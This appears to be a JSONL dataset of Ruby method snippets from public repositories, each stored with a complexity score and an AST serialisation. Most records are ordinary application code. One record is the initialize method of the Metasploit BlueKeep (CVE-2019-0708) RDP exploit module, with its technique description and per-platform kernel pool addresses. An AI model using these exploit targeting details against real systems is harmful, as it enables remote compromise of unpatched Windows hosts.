...\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}","id":"aed46a43-b7e7-4d1d-ae91-3292a95a7053"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/json_rows_formatter.rb","start_line":26,"raw_source":"def example_pending(notification)\n      output_row(type: :example_pending, example: JsonExample.new(notification.example).to_json)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"example_pending\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[null,\"output_row\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"example_pending\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"example\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JsonExample\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"example\"]}]},\"to_json\"]}]}]}]}]}","id":"1e258fe8-bba2-4470-8481-e19abe5fb9c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/postgresql.rb","start_line":103,"raw_source":"def visit_Arel_Nodes_RollUp(o, collector)\n          collector << \"ROLLUP\"\n          grouping_array_or_grouping_element o, collector\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_RollUp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ROLLUP\"]}]},{\"type\":\"send\",\"children\":[null,\"grouping_array_or_grouping_element\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"23e41cf2-a9f3-4ac4-9390-1def0d1a8374"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/format_parameter_mismatch.rb","start_line":119,"raw_source":"def countable_format?(node)\n          (sprintf?(node) || format?(node)) && !heredoc?(node)\n        end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"countable_format?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sprintf?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"format?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heredoc?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]}]}","id":"7c1f7f63-c880-4876-9bc4-21881f92bf1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_team.rb","start_line":191,"raw_source":"def member?(user, min_access_level = Gitlab::Access::GUEST)\n    return false unless user\n\n    max_member_access(user.id) >= min_access_level\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"member?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"min_access_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"GUEST\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_member_access\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},\">=\",{\"type\":\"lvar\",\"children\":[\"min_access_level\"]}]}]}]}","id":"1a4da09f-d992-4461-a556-82ef81c0dfb8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":322,"raw_source":"def test_select_all_insert_update_delete_with_binds\n        binds = [Relation::QueryAttribute.new(\"id\", 1, Event.type_for_attribute(\"id\"))]\n        bind_param = Arel::Nodes::BindParam.new(nil)\n\n        id = @connection.insert(\"INSERT INTO events(id) VALUES (#{bind_param.to_sql})\", nil, nil, nil, nil, binds)\n        assert_equal 1, id\n\n        updated = @connection.update(\"UPDATE events SET title = 'foo' WHERE id = #{bind_param.to_sql}\", nil, binds)\n        assert_equal 1, updated\n\n        result = @connection.select_all(\"SELECT * FROM events WHERE id = #{bind_param.to_sql}\", nil, binds)\n        assert_equal({ \"id\" => 1, \"title\" => \"foo\" }, result.first)\n\n        deleted = @connection.delete(\"DELETE FROM events WHERE id = #{bind_param.to_sql}\", nil, binds)\n        assert_equal 1, deleted\n\n        result = @connection.select_all(\"SELECT * FROM events WHERE id = #{bind_param.to_sql}\", nil, binds)\n        assert_nil result.first\n      end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_all_insert_update_delete_with_binds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"QueryAttribute\"]},\"new\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"type_for_attribute\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bind_param\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"BindParam\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"insert\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO events(id) VALUES (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_param\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"updated\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"update\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE events SET title = 'foo' WHERE id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_param\"]},\"to_sql\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"updated\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"select_all\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT * FROM events WHERE id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_param\"]},\"to_sql\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM events WHERE id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_param\"]},\"to_sql\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"deleted\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"select_all\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT * FROM events WHERE id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind_param\"]},\"to_sql\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]}]}]}]}","id":"4113f40f-51fa-475e-8931-8307320ae080"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/formatter_set.rb","start_line":76,"raw_source":"def formatter_class(formatter_type)\n        case formatter_type\n        when Class\n          formatter_type\n        when /\\A(::)?[A-Z]/\n          custom_formatter_class(formatter_type)\n        else\n          builtin_formatter_class(formatter_type)\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"formatter_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"formatter_type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},{\"type\":\"lvar\",\"children\":[\"formatter_type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(::)?[A-Z]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"custom_formatter_class\",{\"type\":\"lvar\",\"children\":[\"formatter_type\"]}]}]},{\"type\":\"send\",\"children\":[null,\"builtin_formatter_class\",{\"type\":\"lvar\",\"children\":[\"formatter_type\"]}]}]}]}","id":"93e9ef62-7e0d-4566-9183-241330c7003b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/synchronize_broadcast_message_dismissals.rb","start_line":15,"raw_source":"def create_dismissal_cookie(dismissal)\n    cookies[dismissal.cookie_key] = { value: true, expires: dismissal.expires_at }\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_dismissal_cookie\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dismissal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dismissal\"]},\"cookie_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dismissal\"]},\"expires_at\"]}]}]}]}]}","id":"58d81b82-f09a-401b-a72a-6dc625851dad"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/macros_controller.rb","start_line":76,"raw_source":"def check_authorization\n    authorize(@macro) if @macro.present?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_authorization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@macro\"]}]},null]}]}","id":"7aec1429-b5fe-4263-9913-ed4af47c2d3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/concerns/elastic_executor.rb","start_line":15,"raw_source":"def do_create_collection(name:, number_of_partitions:, fields:, options: {})\n          strategy = PartitionStrategy.new(\n            name: name,\n            number_of_partitions: number_of_partitions\n          )\n\n          # Early return if everything exists\n          return if collection_exists?(strategy)\n\n          # Create missing partitions\n          strategy.each_partition do |partition_name|\n            create_partition(partition_name, fields, options) unless index_exists?(partition_name)\n          end\n\n          # Create alias if needed\n          create_alias(strategy) unless alias_exists?(strategy.collection_name)\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"do_create_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"number_of_partitions\"]},{\"type\":\"kwarg\",\"children\":[\"fields\"]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"strategy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PartitionStrategy\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number_of_partitions\"]},{\"type\":\"lvar\",\"children\":[\"number_of_partitions\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_exists?\",{\"type\":\"lvar\",\"children\":[\"strategy\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"each_partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"lvar\",\"children\":[\"partition_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"create_partition\",{\"type\":\"lvar\",\"children\":[\"partition_name\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alias_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"collection_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"create_alias\",{\"type\":\"lvar\",\"children\":[\"strategy\"]}]}]}]}]}","id":"dad86424-4a54-4c0e-853b-d6797c3675c2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/instance_follows_measure.rb","start_line":34,"raw_source":"def sql_query_string\n    <<~SQL.squish\n      SELECT axis.*, (\n        WITH new_follows AS (\n          SELECT follows.id\n          FROM follows\n          INNER JOIN accounts ON follows.target_account_id = accounts.id\n          WHERE date_trunc('day', follows.created_at)::date = axis.period\n            AND #{account_domain_sql(params[:include_subdomains])}\n        )\n        SELECT count(*) FROM new_follows\n      ) AS value\n      FROM (\n        #{generated_series_days}\n      ) AS axis\n    SQL\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_query_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT axis.*, (\\n\"]},{\"type\":\"str\",\"children\":[\"  WITH new_follows AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT follows.id\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM follows\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN accounts ON follows.target_account_id = accounts.id\\n\"]},{\"type\":\"str\",\"children\":[\"    WHERE date_trunc('day', follows.created_at)::date = axis.period\\n\"]},{\"type\":\"str\",\"children\":[\"      AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_domain_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_subdomains\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT count(*) FROM new_follows\\n\"]},{\"type\":\"str\",\"children\":[\") AS value\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generated_series_days\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\") AS axis\\n\"]}]},\"squish\"]}]}","id":"f5b3ea5c-39ad-436f-843e-cbc234ccb164"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb","start_line":62,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',\n        'Description' => %q{\n          The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n          allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n          With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n          the freed channel is used to achieve arbitrary code execution.\n\n          Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n          Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n          selection is correctly matched to the system's memory layout.\n\n          HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n          *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n          This is a non-standard configuration for normal servers, and the target will crash if\n          the aforementioned Registry key is not set!\n\n          If the target is crashing regardless, you will likely need to determine the non-paged\n          pool base in kernel memory and set it as the GROOMBASE option.\n        },\n        'Author' => [\n          'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 - Original exploit\n          'Ryan Hanson',                              # @ryHanson - Original exploit\n          'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module\n          'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2019-0708'],\n          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],\n          ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html'],\n          ['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],\n          ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION]\n        ],\n        'DefaultOptions' => {\n          'RDP_CLIENT_NAME' => 'ethdev',\n          'EXITFUNC' => 'thread',\n          'CheckModule' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep',\n          'WfsDelay' => 5\n        },\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => CHUNK_SIZE - HEADER_SIZE,\n          'EncoderType' => Msf::Encoder::Type::Raw,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Automatic targeting via fingerprinting',\n            {\n              'Arch' => [ARCH_X64],\n              'FingerprintOnly' => true\n            },\n          ],\n          #\n          #\n          # Windows 2008 R2 requires the following registry change from default:\n          #\n          # [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\WinStations\\rdpwd]\n          # \"fDisableCam\"=dword:00000000\n          #\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8003800000,\n              'GROOMSIZE' => 100\n            }\n          ],\n          [\n            # This works with Virtualbox 6\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8002407000\n            }\n          ],\n          [\n            # This address works on VMWare 14\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8030c00000\n            }\n          ],\n          [\n            # This address works on VMWare 15\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018C00000\n            }\n          ],\n          [\n            # This address works on VMWare 15.1\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8102407000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8018c08000\n            }\n          ],\n          [\n            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'GROOMBASE' => 0xfffffa8004428000\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2019-05-14',\n        'Notes' => {\n          'AKA' => ['Bluekeep'],\n          'Stability' => UNKNOWN_STABILITY,\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),\n        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),\n        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),\n        OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0])\n      ]\n    )\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\\n\"]},{\"type\":\"str\",\"children\":[\"          allowing a malformed Disconnect Provider Indication message to cause use-after-free.\\n\"]},{\"type\":\"str\",\"children\":[\"          With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\\n\"]},{\"type\":\"str\",\"children\":[\"          the freed channel is used to achieve arbitrary code execution.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows 7 SP1 should be exploitable in its default configuration, assuming your target\\n\"]},{\"type\":\"str\",\"children\":[\"          selection is correctly matched to the system's memory layout.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\TerminalServer\\\\Winstations\\\\RDP-Tcp\\\\fDisableCam\\n\"]},{\"type\":\"str\",\"children\":[\"          *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\\n\"]},{\"type\":\"str\",\"children\":[\"          This is a non-standard configuration for normal servers, and the target will crash if\\n\"]},{\"type\":\"str\",\"children\":[\"          the aforementioned Registry key is not set!\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the target is crashing regardless, you will likely need to determine the non-paged\\n\"]},{\"type\":\"str\",\"children\":[\"          pool base in kernel memory and set it as the GROOMBASE option.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sean Dillon <sean.dillon@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"Ryan Hanson\"]},{\"type\":\"str\",\"children\":[\"OJ Reeves <oj@beyondbinary.io>\"]},{\"type\":\"str\",\"children\":[\"Brent Cook <bcook@rapid7.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-0708\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/zerosum0x0/CVE-2019-0708\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1059_COMMAND_AND_SCRIPTING_INTERPRETER\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RDP_CLIENT_NAME\"]},{\"type\":\"str\",\"children\":[\"ethdev\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CheckModule\"]},{\"type\":\"str\",\"children\":[\"auxiliary/scanner/rdp/cve_2019_0708_bluekeep\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\